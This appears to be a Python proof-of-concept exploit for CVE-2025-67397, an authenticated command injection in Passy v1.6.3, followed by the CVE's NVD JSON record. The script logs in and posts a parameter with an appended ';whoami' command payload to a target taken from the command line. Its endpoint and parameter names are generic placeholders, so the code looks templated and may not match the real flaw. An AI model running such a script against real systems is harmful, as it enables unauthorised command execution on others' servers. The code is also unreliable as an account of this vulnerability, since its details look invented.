CVE-2025-67397

import requests import sys # CVE-2025-67397 PoC - Passy v1.6.3 Command Injection # Target: Passy v1.6.3 # Vulnerability: Authenticated Remote Code Execution via payload injection TARGET_URL = "http://target-host:8080" USERNAME = "admin" PASSWORD = "password" def exploit(target_url, username, password): """Exploit CVE-2025-67397: Passy v1.6.3 Command Injection""" session = requests.Session() # Login to obtain authenticated session login_data = { "username": username, "password": password } try: # Step 1: Authenticate login_resp = session.post(f"{target_url}/api/login", json=login_data) if login_resp.status_code != 200: print(f"[-] Authentication failed: {login_resp.status_code}") return False print("[+] Successfully authenticated") # Step 2: Inject malicious payload in HTTP request # Payload executes arbitrary command via parameter injection malicious_payload = ";whoami" # Replace with actual command exploit_data = { "param": f"value{malicious_payload}", "action": "process" } # Step 3: Send crafted request to trigger command execution exploit_resp = session.post(f"{target_url}/api/endpoint", json=exploit_data) if exploit_resp.status_code == 200: print("[+] Exploit sent successfully") print(f"[+] Response: {exploit_resp.text}") return True else: print(f"[-] Exploit failed: {exploit_resp.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit(TARGET_URL, USERNAME, PASSWORD)

{"cve": {"id": "CVE-2025-67397", "sourceIdentifier": "[email protected]", "published": "2026-01-05T19:15:56.750", "lastModified": "2026-01-22T21:12:00.927", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Passy v.1.6.3 allows a remote authenticated attacker to execute arbitrary commands via a crafted HTTP request using a specific payload injection."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:passy:passy:1.6.3:*:*:*:*:*:*:*", "matchCriteriaId": "6F0F81C1-5BD7-4233-B0A6-F65C9DBD8914"}]}]}], "references": [{"url": "https://github.com/giulioschiavone/Vulnerability-Research/tree/main/CVE-2025-67397", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.passy.it/", "source": "[email protected]", "tags": ["Product"]}]}}